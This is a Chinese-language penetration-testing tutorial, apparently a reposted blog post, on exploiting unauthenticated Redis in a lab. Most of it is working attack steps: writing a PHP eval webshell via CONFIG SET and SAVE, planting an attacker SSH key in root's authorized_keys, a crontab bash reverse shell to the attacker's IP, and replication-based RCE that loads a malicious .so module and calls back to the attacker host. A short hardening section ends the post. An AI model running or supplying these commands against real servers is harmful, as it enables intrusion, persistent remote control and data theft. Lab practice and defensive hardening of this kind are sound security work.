当前位置: 首页 > article >正文

redis未授权访问

漏洞利用公式利用前提
写公钥root权限运行redis开放了ssh,允许公钥连接
反弹shellroot权限运行redis开启了计划任务
写入webshellroot权限运行redis知道网站根路径
主从复制redis 4.x/5.x

一、redis简介

Redis 是一个高性能的key-value数据库。 redis的出现,很大程度补偿了memcached这类key/value存储的不足。Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。默认端口:6379 sentinel.conf配置器端口为:26379

如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未经授权就可以访问 Redis 以及读取 Redis 的数据。

二、漏洞影响版本

Redis 2.x,3.x,4.x,5.x

三、漏洞危害

(1) 攻击者不需要认证就可以访问到内部数据,可能导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

(2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件。
(3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器

四、环境搭建

靶机:kali     ip:192.168.60.134

攻击机 kali2022    ip:192.168.60.129

测试连通性正常

1.靶机安装redis

1.1靶机下载redis

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

 1.2解压,进入源码目录,然后编译(make、make install)

tar -zxf redis-4.0.10.tar.gz   #解压
cd redis-4.0.10    #进入解压的文件夹内
make  
make install #编译

 1.3启动redis服务

redis-server

启动成功,可以看到版本号,还有进程PID

查看redis服务,使用另外打开一个终端,输入命令:ps -ef | grep redis-server

可以看到redis服务已经启动,绑定的端口为6379

2.kali2022安装redis客户端、解压编译

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

tar -xzf redis-4.0.10.tar.gz
cd /redis-4.0.10
make
make install

连接靶机测试redis客户端是否安装完成:
进入到src目录:cd src
然后连接靶机:./redis-cli -h 192.168.60.134

可能会出现无法连接,需要关闭防火墙,然后可能出现一大串英文,翻译是redis的保护模式,默认是redis需要设置管理员账号密码,开启了保护模式,所以第一次使用没有设置管理员,就会出现报错,关闭保护模式即可

关闭redis的保护模式

1、靶机kali进入redis安装目录(我的就在桌面)找到conf目录下的redis.conf文件
vi redis.conf 加#注释bind 127.0.0.1这一行
然后修改protected-mode 为protected-mode no

修改完成后,杀掉redis的进程:kill 【你的pid,redis启动界面有】
我的就是:kill 5127

然后重启redis:
src/redis-server redis.conf
要注意以上操作的路径。
kali连接,输入info查看版本信息,终于成功了,注意查看redis服务器的配置信息命令必须重新输入,在刚刚的命令下面是不会显示的:

如果是Windows环境下还可以使用redisclient图形化工具来验证,这样可以直接去操作redis数据库。

五、漏洞复现

1.写入webshell

利用条件(原理):目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限
分别使用以下命令:

config set dir /var/www/html

config set dbfilename haha.php 
set webshell "<?php phpinfo(); ?>"  //
save

这时返回靶机,发现文件写入成功。

写入一句话木马(执行顺序可以打乱)

config set dir /var/www/html  //切换到网站根目录
set xxx "\n\n\n<?php @eval($_POST['x']); ?>\n\n\n"  //写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行
config set dbfilename webshell.php   //在磁盘中生成木马文件
save  //将内存中的数据导出到磁盘

 这时靶机会创建一个webshell的一句话php文件

因为我的靶机没有搭建网站,所以就没办法连接测试了。
注:看教程中,在ubuntu环境测试,菜刀一直解析不到上传的木马。

搭建网站,靶机开启web服务

systemctl start apache2

systemctl status apache2 或者

/etc/init.d/apache2 start

蚁剑中进行测试

2.通过写入SSH公钥实现SSH登录

漏洞原理:在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

利用前提

# 写入公钥的前提
● Redis服务使用root账号启动
● 成功连接redis
● 服务器开放了SSH服务,而且允许使用密钥登录,并且存在/root/.ssh目录,(安装的openssh只要将公钥放入到/root/.ssh文件夹中,无需设置 默认就允许使用公钥登录),即可远程写入一个公钥,直接登录远程服务器。
攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空,全部默认即可

靶机开启ssh服务

/etc/init.d/ssh start

1.首先在攻击机kali上生成公钥。
ssh-keygen -t rsa
攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空,全部默认即可

2.将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。

cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

将生成的公钥写入靶机服务器的内存之中

cat key.txt | redis-cli -h 192.168.190.128 -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。

将公钥作为value插入到数据库中,key随便啥值。

可以看见成功写入

del命令删除刚刚生成webshell 

设置路径和保存的文件名,将内存变量导入磁盘文件

config set dir /root/.ssh  //修改redis数据库路径
config set dbfilename authorized_keys  //生成缓冲文件authorized_keys
save

 No such file or directory这里报错的意思是靶机没有这个文件目录, 原因是.ssh 是记录密码信息的文件夹,如果没有用root用户登录过的话,就没有 .ssh 文件夹,所以我们在靶机上执行下面这条命令即可(也可以手动创建.ssh目录):

ssh localhost

此时,可成功导入

靶机这边也成功写入

此时,在攻击机这里用ssh连接靶机,可成功连接

ssh -i id_rsa root@192.168.60.134  或者ssh 192.168.60.134

加载证书登录一下192.168.60.134,可以看到登录成功

常见命令

查看信息:info
删除所有数据库内容:flushall
刷新数据库:flushdb
看所有键:KEYS*,使用select num可以查看键值数据
设置变量:set test“who am i”
config set dir dirpath 设置路径等配置
config get dir/dbfilename 获取路径及数据配置信息
save保存
get 变量,查看变量名称

 注意问题:

1.如果你是windows那你利用ssh密钥连接运行ssh -i id_rsa root@192.168.43.141需要在.ssh目录下,因为权限问题。

2.文件名必须是authorized_keys,由配置文件决定的。

3.redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)

3.在crontab里写定时任务,反弹shell

首先要知道 crontab 是什么,主要是用来定时执行某些任务,如果我们把一些命令放入指定文件里面,那么程序会定时去执行,相当于是每隔一段时间自动执行命令,不用担心当我们关闭会话或者目标主机关机,这个对我们后期持久化渗透是很有帮助的。

漏洞原理:在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务 /var/spool/cron进行反弹shell

利用限制:反弹shell这里只在centos中能够利用成功,ubuntu系统由于通过redis写入计划任务后乱码原因导致无法反弹成功。
在攻击机开启监听:

客户端(攻击机)使用redis-cli连接靶机redis服务器,写入反弹shell

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.60.129/1234 0>&1\n"
//星号表示的是计划任务的时间,前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。
config set dir /var/spool/cron/
config set dbfilename root
save

发现kali和ubuntu反弹shell失败,参考文章:解决ubuntu crontab反弹shell失败的问题 | m3lon

centos的定时任务目录在/var/spool/cron/目录下,kali和ubuntu的定时任务文件在/var/spool/cron/crontabs目录下,因此这里我们重新写入

用了文章的两种方法都失败了,还是老实安装centos的虚拟机吧

4.redis主从复制

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,Redis 的主从复制是指将一个 Redis 实例(称为主节点)的数据复制到其他 Redis 实例(称为从节点)的过程。主从复制可以实现数据备份、读写分离、负载均衡等功能。

主机数据更新后根据配置和策略,自动同步到从机的 master/slave 机制,Master 以写为主,Slave 以读为主。主少从多、主写从读、读写分离、主写同步复制到从。

原理:在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

利用限制

利用redis主从复制redis版本要是4.x或者5.x

需要下载工具RedisModules-ExecuteCommand

  • 依次执行下列命令:
    (我新建了个redis文件夹,然后进入该目录,这样就可以将文件下载到该文件夹,便于分类。)

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

cd RedisModules-ExecuteCommand/

make # 生成module.so

回到redis目录继续执行

git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt 
python redis-rce.py -r 192.168.60.134 -p 6379 -L 192.168.60.129 -f module.so

# python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

另外一种脚本

 redis-rogue-server工具下载地址:https://github.com/n0b0dyCN/redis-rogue-server

该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用。如果存在密码可以使用下面这个工具。

Awsome-Redis-Rogue-Server工具下载地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

执行反弹

cd RedisModulesSDK/exp/
make

python3 redis-rogue-server.py --rhost 192.168.60.134 --lhost 192.168.60.129

这里交互式shell选择i,反弹shell选择r

这部分的缺点就是只适用于目标机器允许远程登录的时候,如果目标机子只允许本地登录,则这种利用方法就不行了,此时可以配合其他漏洞,从目标本地登录redis。

本地Redis主从复制RCE反弹shell

对于只允许本地连接的redis服务器,可以通过开启主从模式从远程主机上同步恶意.so文件至本地,接着载入恶意的.so文件模块,反弹shell至远程主机。

这里将redis-rogue-server-master的exp.so复制到Awsome-Redis-Rogue-Server的目录下使用,因为exp.so带system模块。

kali2022开启监听,接受会话的反弹

开启15000端口的主服务器

python3 redis_rogue_server.py -v -path exp.so
-v      #冗余模式,仅启动Rouge Server模式

靶机本机登录redis开启主从模式

redis-cli

module list

查看是否存在模块,可以看见目前没有可用模块

config set dir /tmp
//一般tmp目录都有写权限,所以选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字
slaveof 192.168.190.128 15000
//进行主从同步,将恶意so文件写入到tmp目录

可以看见主服务器上FULLRESYNC全局同步数据中...

module load ./exp.so 
//加载写入的恶意so文件模块
module list
//查看恶意so有没有加载成功,主要看有没有“system”

反弹shell:

system.rev 192.168.190.128 1234

 

关闭主从模式

slaveof NO ONE

 

安全防护

redis的安全设置:设置完毕,需要重加载配置文件启动redis

1.绑定内网ip地址进行访问,修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

2.requirepass设置redis密码,修改 redis.conf 文件,添加 requirepass mypassword

3.保护模式开启protected-mode开启(默认开启)

4.最好把端口更改

5.单独为redis设置一个普通账号,启动redis。

6.保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
# chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免
这种情况,需要设置 ~./ssh 的 immutable 位权限:
# chattr +i ~/.ssh
注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好
新的公钥之后,按照上述步骤重新加上 immutable 位权限。

7.禁止一些高危命令 修改 redis.conf 文件,添加 rename-command FLUSHALL “” rename-command CONFIG “” rename-command EVAL “” 来禁用远程修改 DB 文件地址

参考文献:

Redis漏洞总结 - FreeBuf网络安全行业门户

Redis漏洞大全~讲解最全的漏洞利用方法-CSDN博客

Redis未授权访问及利用复现(保姆级教程)-CSDN博客


http://www.kler.cn/news/362487.html

相关文章:

  • yub‘s Algorithmic Adventures_Day12
  • Unity3D学习FPS游戏(1)获取素材、快速了解三维模型素材(骨骼、网格、动画、Avatar、材质贴图)
  • sqlserver查询遇到的问题
  • 几何算法系列:空间实体体积计算公式推导
  • python机器人编程——用python调用API控制wifi小车的实例程序
  • JavaScript 中怎么判断前端各种运行环境
  • QExcel 保存数据 (QtXlsxWriter库 编译)
  • JMeter 动态参数赋值实践
  • Docker 安装Postgres和PostGIS,并制作镜像
  • centos系统防火墙SELinux设置指令
  • TensorFlow:强大的机器学习框架
  • Vue3获取ref元素的几种方式
  • 海报在线制作系统小程序源码
  • vue 页面导出gif图片 img 导出gif 超简单~ 可修改播放速度
  • UI自动化测试
  • 运动监测网站毕设基于SpringBootSSM框架的计算机毕业设计
  • 【无人机设计与控制】差异化创意搜索DCS求解无人机路径规划MATLAB
  • 数据结构与算法——Java实现 45.根据后缀表达式建树
  • 在使用new Date()生成时间戳时,发现数据库中 的时间总是多出一秒钟。
  • Android SELinux——neverallow问题处理(十六)
  • 智在未来:人工智能与人类社会的融合
  • 查看centos系统版本
  • 使用 EasyExcel 相邻数据相同时行和列的合并,包括动态表头、数据
  • python装饰器property的使用
  • 详细说明如何使用C++编写A*算法
  • 算法笔记day05